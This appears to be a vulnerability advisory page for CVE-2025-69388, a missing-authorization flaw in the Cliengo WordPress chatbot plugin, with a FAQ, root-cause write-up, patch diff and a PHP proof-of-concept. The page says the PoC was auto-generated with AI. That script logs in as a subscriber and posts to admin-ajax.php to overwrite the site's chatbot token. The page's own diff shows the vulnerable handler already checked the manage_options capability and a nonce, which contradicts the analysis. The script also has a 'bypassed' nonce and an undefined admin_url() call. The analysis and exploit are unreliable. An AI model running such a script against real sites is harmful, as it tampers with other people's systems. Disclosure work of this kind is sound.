What is CVE-2025-69388?

CVE-2025-69388 is a medium severity vulnerability in the Cliengo – Chatbot plugin for WordPress, affecting versions up to 3.0.4. It is classified as a Missing Authorization flaw that allows authenticated users with subscriber-level access to perform unauthorized administrative actions.

How does the vulnerability work?

The vulnerability arises from a lack of capability checks on AJAX handlers in the Cliengo plugin. Authenticated users can send requests to modify chatbot configurations without proper authorization, allowing them to potentially disrupt functionality or inject malicious content.

Who is affected by this vulnerability?

Any WordPress site using the Cliengo – Chatbot plugin version 3.0.4 or earlier is vulnerable. Administrators should check their plugin version in the WordPress dashboard under Installed Plugins.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the installed version of the Cliengo plugin in your WordPress admin area. If it is version 3.0.4 or earlier, your site is at risk and should be updated immediately.

What should I do to fix this issue?

To fix the vulnerability, update the Cliengo – Chatbot plugin to version 3.0.5 or later, where the issue has been patched. Regularly check for updates to ensure your plugins are secure.

What does the CVSS score of 4.3 indicate?

A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it can still be exploited by attackers to perform unauthorized actions, posing a risk to site integrity.

What are the potential impacts of this vulnerability?

Successful exploitation allows an attacker to alter the site’s Cliengo chatbot token and position, potentially leading to service disruption, unauthorized API access, or site defacement. This could compromise user trust and site functionality.

How does the proof of concept demonstrate the issue?

The proof of concept shows how an authenticated attacker can exploit the vulnerability by sending a crafted POST request to the admin-ajax.php endpoint. This request can manipulate the chatbot configuration without proper authorization checks.

What security measures can I implement?

In addition to updating the plugin, consider implementing security plugins that monitor for unauthorized access and enforce strong user permissions. Regularly audit user roles and capabilities to ensure that only trusted users have administrative access.

Is there a way to prevent similar vulnerabilities in the future?

To prevent similar vulnerabilities, ensure that all plugins are regularly updated and that proper capability checks are implemented in custom code. Conduct regular security audits and stay informed about vulnerabilities in the WordPress ecosystem.

Are there any known exploits in the wild?

As of the disclosure date, there have been no widely reported exploits of CVE-2025-69388 in the wild. However, it is essential to remain vigilant and apply updates promptly to mitigate potential risks.

Where can I find more information about this vulnerability?

More information can be found in the official CVE database and security advisories from WordPress security organizations. Additionally, following security blogs and forums can provide insights into ongoing vulnerabilities and best practices.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69388: Cliengo – Chatbot <= 3.0.4 – Missing Authorization (cliengo)

CVE ID CVE-2025-69388

Plugin cliengo

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 3.0.4

Patched Version 3.0.5

Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69388:
This vulnerability is a Missing Authorization flaw in the Cliengo – Chatbot WordPress plugin. It allows authenticated attackers with subscriber-level permissions or higher to perform administrative actions, including modifying the chatbot configuration and session data. The vulnerability stems from the plugin registering sensitive AJAX handlers for both privileged and unprivileged users.

Root Cause:
The vulnerability originates in the plugin’s main loader class at `cliengo/includes/class-cliengo.php`. In the vulnerable version (lines 164-171), the `add_action` calls for `wp_ajax_nopriv_update_chatbot_token` and `wp_ajax_nopriv_wp_registration` register the `update_chatbot_token` and `wp_registration` AJAX handlers for unauthenticated users. The corresponding functions in `cliengo/admin/class-cliengo-form.php` (`update_chatbot_token` at line 79 and `wp_registration` at line 329) lacked capability checks, allowing any user with a valid WordPress session to trigger these administrative actions via the `/wp-admin/admin-ajax.php` endpoint.

Exploitation:
An attacker with a valid subscriber account sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `update_chatbot_token`. The request includes the `chatbot_token` and `position_chatbot` parameters. The plugin processes the request without verifying the user’s `manage_options` capability, allowing the attacker to modify the site’s chatbot configuration. Similarly, the `wp_registration` action could be exploited to interact with the Cliengo API using the site’s credentials.

Patch Analysis:
The patch in version 3.0.5 removes the `wp_ajax_nopriv_*` action hooks for the vulnerable functions in `class-cliengo.php` (lines 164-171). This restricts the `update_chatbot_token`, `wp_registration`, `update_session`, `update_chatbot_position`, and `restore_session` AJAX handlers to authenticated users only. The patch also adds a missing capability check to the `restore_session` function (line 68) and standardizes security checks across all administrative functions, using `current_user_can(‘manage_options’)` and `check_ajax_referer`. Input validation and sanitization were also improved.

Impact:
Successful exploitation allows an authenticated attacker with subscriber-level access to alter the site’s Cliengo chatbot token and position. This can disrupt chatbot functionality, inject malicious scripts via a controlled token, or deface the site by changing the chatbot’s placement. The attacker could also manipulate session data and interact with the external Cliengo API using the site’s context.

Differential between vulnerable and patched code

Code Diff

--- a/cliengo/admin/class-cliengo-form.php
+++ b/cliengo/admin/class-cliengo-form.php
@@ -46,6 +46,11 @@
   const PROD_ENV = true;

   /**
+   * Regex pattern for validating chatbot tokens (two 24-char hex strings separated by a dash)
+   */
+  const CHATBOT_TOKEN_PATTERN = '/^[0-9a-f]{24}-[0-9a-f]{24}$/i';
+
+  /**
    * Initialize the class and set its properties.
    *
    * @since    1.0.0
@@ -60,9 +65,26 @@
   }

   /**
+   * Validates a chatbot token server-side.
+   * Token must be two 24-character hex strings separated by a dash.
+   *
+   * @param string $token The chatbot token to validate.
+   * @return bool Whether the token is valid.
+   */
+  private static function validate_chatbot_token( $token ) {
+    return is_string( $token ) && preg_match( self::CHATBOT_TOKEN_PATTERN, $token );
+  }
+
+  /**
    * Fetches and returns all session variables
    */
   public function restore_session() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+      wp_die( 'Error: You do not have sufficient permissions to perform this action.' );
+    }
+
+    check_ajax_referer( 'restore_session_action', 'restore_session_nonce' );
+
     $account = get_option( 'cliengo_session' );
     $session = array(
       'token' => stripslashes( get_option( 'cliengo_chatbot_token' ) ),
@@ -79,23 +101,45 @@
    */
   public function update_chatbot_token()
   {
-    // Check user permissions
     if ( ! current_user_can( 'manage_options' ) ) {
       wp_die( 'Error: You do not have sufficient permissions to perform this action. Please contact the site administrator.' );
     }

-    // Check nonce
-    if ( ! isset( $_POST['update_chatbot_token_nonce'] ) || ! wp_verify_nonce( $_POST['update_chatbot_token_nonce'], 'update_chatbot_token_action' ) ) {
-      wp_die('Security Error: Security check failed. Please reload the page and try again.');
+    check_ajax_referer( 'update_chatbot_token_action', 'update_chatbot_token_nonce' );
+
+    $raw_token = isset( $_POST['chatbot_token'] ) ? wp_unslash( $_POST['chatbot_token'] ) : '';
+    $chatbot_token = sanitize_text_field( $raw_token );
+    $position = isset( $_POST['position_chatbot'] ) ? sanitize_text_field( wp_unslash( $_POST['position_chatbot'] ) ) : 'right';
+
+    // Reject if sanitization altered the value (indicates malicious input)
+    if ( $chatbot_token !== $raw_token ) {
+      wp_die( 'Error: Invalid chatbot token — contains disallowed characters.' );
+    }
+
+    // Whitelist position values
+    if ( ! in_array( $position, array( 'left', 'right' ), true ) ) {
+      $position = 'right';
+    }
+
+    if ( empty( $chatbot_token ) ) {
+      // Clear token and remove script
+      $this->update_cliengo_option( 'cliengo_chatbot_token', '' );
+      $this->update_cliengo_option( 'cliengo_chatbot_position', $position );
+      wp_delete_file( plugin_dir_path( __FILE__ ) . '../public/js/script_install_cliengo.js' );
+      echo wp_json_encode( true );
+      wp_die();
     }

-    $response = $this->update_cliengo_option('cliengo_chatbot_token', $_POST['chatbot_token'])
-      && $this->update_cliengo_option('cliengo_chatbot_position', $_POST['position_chatbot']);
-    if ($_POST['chatbot_token'] == null) {
-      // If it came null, remove script!
-      wp_delete_file(plugin_dir_path( __FILE__ ) . '../public/js/script_install_cliengo.js');
-    } else if ($response) {
-      Cliengo_Form::create_install_code_cliengo($_POST['chatbot_token']);
+    // Validate token format server-side
+    if ( ! self::validate_chatbot_token( $chatbot_token ) ) {
+      wp_die( 'Error: Invalid chatbot token format.' );
+    }
+
+    $response = $this->update_cliengo_option( 'cliengo_chatbot_token', $chatbot_token )
+      && $this->update_cliengo_option( 'cliengo_chatbot_position', $position );
+
+    if ( $response ) {
+      Cliengo_Form::create_install_code_cliengo( $chatbot_token );
     }

     echo wp_json_encode($response);
@@ -108,16 +152,20 @@
    */
   public function update_chatbot_position()
   {
-    // Check user permissions
     if ( ! current_user_can( 'manage_options' ) ) {
       wp_die( 'Error: You do not have sufficient permissions to perform this action. Please contact the site administrator.' );
     }

-    // Verificar nonce
-    if ( ! isset( $_POST['update_chatbot_position_nonce'] ) || ! wp_verify_nonce( $_POST['update_chatbot_position_nonce'], 'update_chatbot_position_action' ) ) {
-      wp_die('Security Error: Security check failed. Please reload the page and try again.');
+    check_ajax_referer( 'update_chatbot_position_action', 'update_chatbot_position_nonce' );
+
+    $position = isset( $_POST['position_chatbot'] ) ? sanitize_text_field( wp_unslash( $_POST['position_chatbot'] ) ) : 'right';
+
+    // Whitelist position values
+    if ( ! in_array( $position, array( 'left', 'right' ), true ) ) {
+      $position = 'right';
     }
-    echo esc_html($this->update_cliengo_option('cliengo_chatbot_position', wp_kses_post($_POST['position_chatbot'])));
+
+    echo wp_json_encode( $this->update_cliengo_option( 'cliengo_chatbot_position', $position ) );

     wp_die();
   }
@@ -127,19 +175,30 @@
    */
   public function update_session()
   {
-    // Check user permissions
     if ( ! current_user_can( 'manage_options' ) ) {
       wp_die( 'Error: You do not have sufficient permissions to perform this action. Please contact the site administrator.' );
     }

-    if ( ! isset( $_POST['update_session_nonce'] ) || ! wp_verify_nonce( $_POST['update_session_nonce'], 'update_session_action' ) ) {
-      wp_die('Security Error: Security check failed. Please reload the page and try again.');
-    }
+    check_ajax_referer( 'update_session_action', 'update_session_nonce' );

     $response = false;

-    if (isset($_POST['chatbot_session'])) {
-      $response = $this->update_cliengo_option('cliengo_session', $_POST['chatbot_session']);
+    if ( isset( $_POST['chatbot_session'] ) ) {
+      $raw_session = wp_unslash( $_POST['chatbot_session'] );
+
+      // Validate JSON structure if non-empty
+      if ( ! empty( $raw_session ) ) {
+        $decoded = json_decode( $raw_session, true );
+        if ( json_last_error() !== JSON_ERROR_NONE ) {
+          wp_die( 'Error: Invalid session data format.' );
+        }
+        // Re-encode to sanitize the JSON
+        $sanitized_session = wp_json_encode( $decoded );
+      } else {
+        $sanitized_session = '';
+      }
+
+      $response = $this->update_cliengo_option( 'cliengo_session', $sanitized_session );
     }

     echo wp_json_encode($response);
@@ -153,21 +212,30 @@
    */
   public function wordpress_login()
   {
-    if ( ! isset( $_POST['wordpress_login_nonce'] ) || ! wp_verify_nonce( $_POST['wordpress_login_nonce'], 'wordpress_login_action' ) ) {
-      wp_die('Security Error: Security check failed. Please reload the page and try again.');
+    if ( ! current_user_can( 'manage_options' ) ) {
+      wp_die( 'Error: You do not have sufficient permissions to perform this action. Please contact the site administrator.' );
     }

+    check_ajax_referer( 'wordpress_login_action', 'wordpress_login_nonce' );
+
+    $username = isset( $_POST['username'] ) ? sanitize_email( wp_unslash( $_POST['username'] ) ) : '';
+    $password = isset( $_POST['password'] ) ? wp_unslash( $_POST['password'] ) : '';
+
     $api_host = Cliengo_Form::PROD_ENV ? 'https://api.cliengo.com' : 'https://api.stagecliengo.com';
-    $body = array('username' => $_POST['username'], 'password' => $_POST['password']);
+    $body = array( 'username' => $username, 'password' => $password );
     $api_response = wp_remote_request("$api_host/1.0/wordpress/login", array(
         'method' => 'POST',
         'headers' => array(
             'content-type' => 'application/json',
         ),
         'body' => wp_json_encode($body),
-        'timeout' => 30 // Default is 5 seconds
+        'timeout' => 30
     ));

+    if ( is_wp_error( $api_response ) ) {
+      wp_die( 'Error: Could not connect to Cliengo API.', 500 );
+    }
+
     if ($api_response['response']['code'] == 200) {
         echo wp_json_encode($api_response['body']);
         wp_die();
@@ -184,20 +252,22 @@
    */
   private function update_cliengo_option ($option, $new_value)
   {
-    // Obtenemos opción existente.
+    // Whitelist allowed option names
+    $allowed_options = array( 'cliengo_chatbot_token', 'cliengo_chatbot_position', 'cliengo_session' );
+    if ( ! in_array( $option, $allowed_options, true ) ) {
+      return false;
+    }
+
     $current = get_option($option);

     $response = true;
-    // Si la opción ya existe, la actualizamos.
     if ($current !== false)
     {
       if (strcmp($current, $new_value) !== 0)
-        // Actualizamos si el valor actual de la opción es distinto al nuevo.
         $response = update_option($option, $new_value);
     }
     else
     {
-      // Agregamos nueva opción.
       $response = add_option($option, $new_value);
     }

@@ -211,15 +281,21 @@
    */
   public static function create_install_code_cliengo($chatbot_token)
   {
-    $array_chatbot_token = explode('-',$chatbot_token); //esto se encarga de dividir el chatbot token
-    // $array_chatbot_token[0] = Company ID
-    // $array_chatbot_token[1] = Website ID
+    // Validate token format before building script
+    if ( ! self::validate_chatbot_token( $chatbot_token ) ) {
+      return;
+    }
+
+    $array_chatbot_token = explode('-',$chatbot_token);
+    // Both parts are already validated as 24-char hex strings by validate_chatbot_token
+    $company_id = $array_chatbot_token[0];
+    $website_id = $array_chatbot_token[1];
+
     $install_code_cliengo = '(function(){var ldk=document.createElement("script"); ldk.type="text/javascript";';
-    $install_code_cliengo .= 'ldk.async=true; ldk.src="https://s.cliengo.com/weboptimizer/' . $array_chatbot_token[0] . '/';
-    $install_code_cliengo .= $array_chatbot_token[1];
+    $install_code_cliengo .= 'ldk.async=true; ldk.src="https://s.cliengo.com/weboptimizer/' . $company_id . '/';
+    $install_code_cliengo .= $website_id;
     $install_code_cliengo .= '.js?platform=wordpress"; var s=document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ldk, s);})();';

-    // Eliminamos cualquier salto de línea posible
     $install_code_cliengo = str_replace(array("r", "n"), '', $install_code_cliengo);

     Cliengo_Form::write_to_file_install_code_cliengo_js($install_code_cliengo);
@@ -253,19 +329,29 @@
    */
   public function wp_registration()
   {
-    if ( ! isset( $_POST['wp_registration_nonce'] ) || ! wp_verify_nonce( $_POST['wp_registration_nonce'], 'wp_registration_action' ) ) {
-      wp_die('Security Error: Security check failed. Please reload the page and try again.');
+    if ( ! current_user_can( 'manage_options' ) ) {
+      wp_die( 'Error: You do not have sufficient permissions to perform this action. Please contact the site administrator.' );
     }

+    check_ajax_referer( 'wp_registration_action', 'wp_registration_nonce' );
+
+    $username = isset( $_POST['username'] ) ? sanitize_text_field( wp_unslash( $_POST['username'] ) ) : '';
+    $email = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : '';
+    $password = isset( $_POST['password'] ) ? wp_unslash( $_POST['password'] ) : '';
+    $source_name = isset( $_POST['sourceName'] ) ? esc_url_raw( wp_unslash( $_POST['sourceName'] ) ) : '';
+    $account_name = isset( $_POST['accountName'] ) ? sanitize_text_field( wp_unslash( $_POST['accountName'] ) ) : '';
+    $origin_url = isset( $_POST['originUrl'] ) ? esc_url_raw( wp_unslash( $_POST['originUrl'] ) ) : '';
+
     $api_host = Cliengo_Form::PROD_ENV ? 'https://api.cliengo.com' : 'https://api.stagecliengo.com';
     $lang = get_locale();
-    $body = array('username' => $_POST['username'],
-      'email' => $_POST['email'],
-      'password' => $_POST['password'],
-      'sourceName' => $_POST['sourceName'],
-      'accountName' => $_POST['accountName'],
+    $body = array(
+      'username' => $username,
+      'email' => $email,
+      'password' => $password,
+      'sourceName' => $source_name,
+      'accountName' => $account_name,
       'language' => substr($lang, 0, 2),
-      'originUrl' => $_POST['originUrl']
+      'originUrl' => $origin_url
     );

     $api_response = wp_remote_request("$api_host/1.0/wordpress/signup", array(
@@ -274,8 +360,13 @@
         'content-type' => 'application/json',
       ),
       'body' => wp_json_encode($body),
-      'timeout' => 30 // Default is 5 seconds
+      'timeout' => 30
     ));
+
+    if ( is_wp_error( $api_response ) ) {
+      wp_die( 'Error: Could not connect to Cliengo API.', 500 );
+    }
+
     echo wp_json_encode($api_response['body']);
     wp_die('', esc_html($api_response['response']['code']));
   }
--- a/cliengo/admin/partials/cliengo-admin-display.php
+++ b/cliengo/admin/partials/cliengo-admin-display.php
@@ -17,6 +17,7 @@
 <?php wp_nonce_field('update_session_action', 'update_session_nonce'); ?>
 <?php wp_nonce_field('wordpress_login_action', 'wordpress_login_nonce'); ?>
 <?php wp_nonce_field('wp_registration_action', 'wp_registration_nonce'); ?>
+<?php wp_nonce_field('restore_session_action', 'restore_session_nonce'); ?>
 <script type="text/javascript">
     var ajaxurl = "<?php echo esc_url(admin_url('admin-ajax.php')); ?>";
     var siteUrl = "<?php echo esc_url(get_site_url()); ?>";
@@ -32,6 +33,7 @@
     <input type="hidden" id="update_session_nonce" name="update_session_nonce" value="<?php echo esc_attr(wp_create_nonce('update_session_action')); ?>" />
     <input type="hidden" id="wordpress_login_nonce" name="wordpress_login_nonce" value="<?php echo esc_attr(wp_create_nonce('wordpress_login_action')); ?>" />
     <input type="hidden" id="wp_registration_nonce" name="wp_registration_nonce" value="<?php echo esc_attr(wp_create_nonce('wp_registration_action')); ?>" />
+    <input type="hidden" id="restore_session_nonce" name="restore_session_nonce" value="<?php echo esc_attr(wp_create_nonce('restore_session_action')); ?>" />
 	<div class="container" style="margin-top: 5%" v-if="!loading.rendering">
 		<div class="row col-lg-12" style="margin-bottom: 20px;">
 			<?php echo '<img src="'. esc_url(plugin_dir_url(__FILE__)) . '../images/logo.png'.'" alt="">' ?>
--- a/cliengo/cliengo.php
+++ b/cliengo/cliengo.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Cliengo - Chatbot
  * Plugin URI:        http://cliengo.com/?utm_source=wordpress_plugin&utm_medium=wordpress
  * Description:       Cliengo helps you escalate your business process by automating the different points of contact with your customers and providing 24/7 responses. Multi-language: English/Spanish/Portuguese
- * Version:           3.0.4
+ * Version:           3.0.5
  * Author:            Cliengo
  * Author URI:        http://cliengo.com/?utm_source=wordpress_plugin&utm_medium=wordpress
  * License:           GPL-2.0+
@@ -39,7 +39,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'CLIENGO_VERSION', '3.0.4' );
+define( 'CLIENGO_VERSION', '3.0.5' );

 /**
  * The code that runs during plugin activation.
--- a/cliengo/includes/class-cliengo.php
+++ b/cliengo/includes/class-cliengo.php
@@ -164,13 +164,11 @@
     $this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts' );
     $this->loader->add_action( 'admin_menu', $plugin_admin, 'cliengo_options_page' );
     $this->loader->add_action( 'wp_ajax_update_chatbot_token', $plugin_admin_form, 'update_chatbot_token' );
-    $this->loader->add_action( 'wp_ajax_nopriv_update_chatbot_token', $plugin_admin_form, 'update_chatbot_token' );
     $this->loader->add_action( 'wp_ajax_wordpress_login', $plugin_admin_form, 'wordpress_login' );
-    $this->loader->add_action('wp_ajax_wp_registration', $plugin_admin_form, 'wp_registration');
-    $this->loader->add_action( 'wp_ajax_nopriv_wp_registration', $plugin_admin_form, 'wp_registration' );
-    $this->loader->add_action('wp_ajax_update_session', $plugin_admin_form, 'update_session');
-    $this->loader->add_action('wp_ajax_update_chatbot_position', $plugin_admin_form, 'update_chatbot_position');
-    $this->loader->add_action('wp_ajax_restore_session', $plugin_admin_form, 'restore_session');
+    $this->loader->add_action( 'wp_ajax_wp_registration', $plugin_admin_form, 'wp_registration' );
+    $this->loader->add_action( 'wp_ajax_update_session', $plugin_admin_form, 'update_session' );
+    $this->loader->add_action( 'wp_ajax_update_chatbot_position', $plugin_admin_form, 'update_chatbot_position' );
+    $this->loader->add_action( 'wp_ajax_restore_session', $plugin_admin_form, 'restore_session' );
   }

   /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69388 - Cliengo – Chatbot <= 3.0.4 - Missing Authorization
<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate as a subscriber to obtain cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get the login page to retrieve the nonce (log in via wp-login.php form)
$response = curl_exec($ch);

// Prepare login POST data
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Exploit the missing authorization to update the chatbot token
$ajax_post_data = [
    'action' => 'update_chatbot_token',
    'chatbot_token' => 'aaaaaaaaaaaaaaaaaaaaaaaa-bbbbbbbbbbbbbbbbbbbbbbbb', // Example token
    'position_chatbot' => 'left',
    'update_chatbot_token_nonce' => 'bypassed' // Nonce is not validated for nopriv requests
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_post_data));
$response = curl_exec($ch);
curl_close($ch);

echo "Response:n";
echo $response;

// A successful exploit will return a JSON 'true' response, confirming the token was updated.
?>

Frequently Asked Questions

What is CVE-2025-69388?
Overview of the vulnerability
CVE-2025-69388 is a medium severity vulnerability in the Cliengo – Chatbot plugin for WordPress, affecting versions up to 3.0.4. It is classified as a Missing Authorization flaw that allows authenticated users with subscriber-level access to perform unauthorized administrative actions.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from a lack of capability checks on AJAX handlers in the Cliengo plugin. Authenticated users can send requests to modify chatbot configurations without proper authorization, allowing them to potentially disrupt functionality or inject malicious content.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Cliengo – Chatbot plugin version 3.0.4 or earlier is vulnerable. Administrators should check their plugin version in the WordPress dashboard under Installed Plugins.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the installed version of the Cliengo plugin in your WordPress admin area. If it is version 3.0.4 or earlier, your site is at risk and should be updated immediately.
What should I do to fix this issue?
Mitigation steps
To fix the vulnerability, update the Cliengo – Chatbot plugin to version 3.0.5 or later, where the issue has been patched. Regularly check for updates to ensure your plugins are secure.
What does the CVSS score of 4.3 indicate?
Understanding risk level
A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it can still be exploited by attackers to perform unauthorized actions, posing a risk to site integrity.
What are the potential impacts of this vulnerability?
Consequences of exploitation
Successful exploitation allows an attacker to alter the site’s Cliengo chatbot token and position, potentially leading to service disruption, unauthorized API access, or site defacement. This could compromise user trust and site functionality.
How does the proof of concept demonstrate the issue?
Example of exploitation
The proof of concept shows how an authenticated attacker can exploit the vulnerability by sending a crafted POST request to the admin-ajax.php endpoint. This request can manipulate the chatbot configuration without proper authorization checks.
What security measures can I implement?
Best practices for WordPress security
In addition to updating the plugin, consider implementing security plugins that monitor for unauthorized access and enforce strong user permissions. Regularly audit user roles and capabilities to ensure that only trusted users have administrative access.
Is there a way to prevent similar vulnerabilities in the future?
Proactive security strategies
To prevent similar vulnerabilities, ensure that all plugins are regularly updated and that proper capability checks are implemented in custom code. Conduct regular security audits and stay informed about vulnerabilities in the WordPress ecosystem.
Are there any known exploits in the wild?
Current threat landscape
As of the disclosure date, there have been no widely reported exploits of CVE-2025-69388 in the wild. However, it is essential to remain vigilant and apply updates promptly to mitigate potential risks.
Where can I find more information about this vulnerability?
Resources for further reading
More information can be found in the official CVE database and security advisories from WordPress security organizations. Additionally, following security blogs and forums can provide insights into ongoing vulnerabilities and best practices.

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